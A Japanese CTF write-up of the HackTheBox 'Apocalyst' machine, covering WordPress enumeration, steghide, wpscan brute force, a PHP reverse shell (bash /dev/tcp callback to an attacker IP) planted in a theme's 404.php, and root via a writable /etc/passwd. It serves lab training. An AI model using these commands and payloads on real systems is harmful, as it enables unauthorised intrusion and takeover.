> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md).

# Apocalyst HackTheBox攻略記事

WordPressの列挙、画像ステガノグラフィ課題 - Steghide、情報漏えい - ユーザー列挙、WordPressの攻略 - Theme Editor（RCE）、を扱うApocalyst HackTheBox Medium Linuxマシンの攻略記事。

{% embed url="<https://app.hackthebox.com/machines/Apocalyst>" %}

{% hint style="warning" %}
**スキル:**

* WordPress列挙
* 画像ステガノチャレンジ - Steghide
* 情報漏えい - ユーザー列挙
* WordPressのエクスプロイト - テーマエディタ（RCE）
* 誤設定された権限の悪用（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b5c5a0250b63ad0423f65db631b18c9312f7bae%2Fimage%20(733).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580dc3ed66379c02dee916f8969eb3e280a30ac8%2F%7B367CF993-72FC-4986-8BB6-3B2937652F18%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3408f92a90ba9bbf469cfacc518efeac8450b87a%2F%7BF9915EF7-8035-4E33-B74A-CB36AFD5C134%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン（22、80）：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,80 10.10.10.46 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f39239b8c921e46c2325d1c1479967a5e93dc479%2F%7B5A48FAC1-5D34-4DA8-B799-EAD43A7BC13E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

WordPressサイトを検出しましたが、ドメイン解決の設定が正しくありません。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4f8e7effe3d5606a079210f9f672a732053356d%2F%7B0B9FBD72-CF59-4841-98E5-C4F4F64C36FB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次のエントリを追加します */etc/hosts*:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-84fd129d773d16f08caa9d98eb21de87441bf681%2Fimage%20(734).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bfd84f861bd111615c381e2e1fc18b5f5889083%2Fimage%20(735).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **WordPressサイトの探索**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a5ddf6f1127c7bf11207a8f57f1d10bb89900216%2F%7B736E53A1-C4FE-4F12-B449-75353059F74A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **有効なユーザーを特定する**

有効なユーザーを発見します： **falaraki**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a78402ffafd0799ce1204bda3cfbd2e52310e668%2Fimage%20(736).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **SSHエクスプロイト**

SSHのバージョンが古いため、エクスプロイトを使ってシステム上のユーザーを確認できます：

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0bb3100823f519a8639ef7f8e71fbd5b24d65d3%2Fimage%20(737).png?alt=media" alt=""><figcaption></figcaption></figure>

ユーザーが存在することを確認する：

```bash
python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b9c2c45e5dddd3e3436ca701e9456ccd401241c%2F%7B1DEDC8FE-B243-4765-A9CD-7F75A7C767E8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### ではWordPressでは：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e4c4479417d9633922057aa8d5aa2419bec2b7c%2Fimage%20(738).png?alt=media" alt=""><figcaption></figcaption></figure>

### **WordPressの列挙**

次を使用します *wfuzz* 興味深いディレクトリを検索するには：

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

このスキャンでは、301コードを返して画像へリダイレクトするページがいくつか検出されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7c501f0655c83af14cf3f90dc95cdd49cd47c1a%2Fimage%20(740).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c51bf9169d6316f98bdf1337245a72d812af43c%2F%7B428DB325-60F6-4B0E-889D-35A3CF4E9C4B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

そこで、テキストの長さ（157）でフィルタします：

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

特に興味深い結果はありません。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed38235d4cfa641eba89bbb87c919d1ea33dee60%2F%7BA38C8B07-0498-402A-83EB-16FDC60D6437%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **カスタム辞書の作成 - CEWL** <a href="#custom-dictionary" id="custom-dictionary"></a>

Webサイトを基に辞書を生成します：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b937520bd6451e57f7c75b38c00c11188af5dc4d%2F%7BC1D4EFF5-7B22-4E8C-9FF9-454BCB5E398C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

使用する **Cewl** Webサイトを基に辞書を生成するには：

```bash
cewl -w list.txt http://apocalyst.htb/
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4df0326859b616c23ce0ca4b7c99c2e0b3e996d%2F%7B9F74D61D-0E49-42C9-9A0A-3B87BF41CE3E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

を使って新たに列挙 *wfuzz*:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L
```

{% endcode %}

〜を見つけます **`正しさ`** ディレクトリ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6062b94674fbf8368e21cf461dafa9c155c3c5c1%2F%7BBCB6626A-F81D-464C-913C-C35579D2DF81%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Steghideによるステガノグラフィ解析**

画像を保存して解析します：

1. 画像に隠しデータが含まれているか確認する：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b4ca11ae1f050ecbfcd4dd668907d447cef1326%2F%7BBF3E2B46-EBEB-41D5-AB60-F14D12C229A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

画像に隠しデータが含まれているか確認する：

```bash
steghide info image.jpg
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25bafbe8c5377ac368938e0bf667b9418b09be92%2F%7BB61AC2D5-D35E-4808-9E7E-C44BA34BA105%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

隠しデータの抽出：

```bash
steghide extract -sf image.jpg
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58db1cc7ea2d9cee8ab957d4376b054382d83e9f%2F%7B1ED250B8-3960-43F4-A11F-9FCC21581E8B%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

A *list.txt* 単語を含むファイルが生成されます

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abd92d1e0eeb2f1ba183555203ffd478097959c7%2F%7BB33AD389-288C-4D38-BE1A-D89F3AD8F0ED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **WordPressへのブルートフォース攻撃**

<table data-full-width="false"><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/ja/cms/wordpress-cms-exploitation/manual-brute-force-xmlrpc.php.md">手動ブルートフォース（xmlrpc.php）</a></td></tr></tbody></table>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a00153ba79137b90fe64e28af55f5d87f91bc707%2F%7BD6600E64-F085-4894-90B6-1555244867E6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

以下を使ってブルートフォース攻撃を開始します *wpscan*、を悪用して *xmlrpc.php* が有効になっています：

```bash
wpscan --url http://apocalyst.htb -U falaraki -P list.txt
```

私たちは **falaraki**のパスワード： **Transclisiation**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba98744a18bb62e862ccf1bcf00c09c419ae5fd1%2F%7B04411861-90BF-4F1C-A54A-0A03A3DC48BF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-487f641c1d8eea9847f2c85cdf35cd74391a02e1%2F%7BE4E8EE06-2FC9-4BBA-B81F-13A52FC03472%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **WordPressのエクスプロイト - リモートコード実行（RCE）**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea534a89e75ad30df3dbeedda4a755d9d9ef26d7%2F%7BC6CEFE52-1E03-4C72-9C22-8A7FBFFED8AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次に、 *404.php* ファイルにリバースシェルを挿入します：

```php
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.50/443 0>&1'")
?>
```

ポート443で待ち受け：

```bash
nc -nvlp 443
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbe1a9f3696247622f44156d5ff7e42f50b3697e%2F%7BB4364371-95D3-4E1C-874E-F6752D49D1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次を介してシェルを実行： *curl*:

```bash
curl -s -X GET "http://apocalyst.htb/?p=404.php"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492ca22c588ca624a80e76ddf639ae07c9b184d9%2F%7B34B5F0C0-0745-4EF0-B5B8-A7C59C7746AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 改善されたシェルセッション：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-409e7951559e41b4da40554db7056ef664dd1770%2F%7B3ED8C5CC-DB9E-41DF-89DD-CCCB457B9041%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **権限昇格**

### **権限管理（`/etc/passwd`)**

```bash
find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys"
```

〜が */etc/passwd* 編集可能であることが分かります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad8d76942ce6ab07d8d7a3a4270c1a80b1d857b4%2F%7B6B243335-2F12-422D-8B64-634021F6159E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

OpenSSLで暗号化されたパスワードを作成：

```
openssl passwd -1 -salt WylYIBz9 jordan
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34fa1adb757b53a84eb292e44e51d9f7a17d9548%2F%7BD6C0C74F-44A5-44F3-95CF-D03CB57B6963%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

すると次が生成されます：

* $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/

root行を */etc/passwd* のハッシュに置き換えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8b90a957997c2a72c282022cd3073dfe28cdf28%2F%7BD16226D7-C948-44FF-96C4-3E65C749C68D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

rootとしてログイン：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fe18b188b4303e1da030fdc73ba17abb087c8d4%2F%7B093F76F7-EBA7-48AC-821A-B6C057385FF0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f699b912fb404ef9aa1d50bc06e41ece46c6707%2F%7B4AED9304-1390-41EC-987B-04B55CE51A4C%7D.png?alt=media" alt="" width="545"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7dd81340fb560d2d1e3614101f77ae62246e437%2F%7B7D75D75E-C048-45C5-A8E3-D4FFF5D61652%7D.png?alt=media" alt="" width="517"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
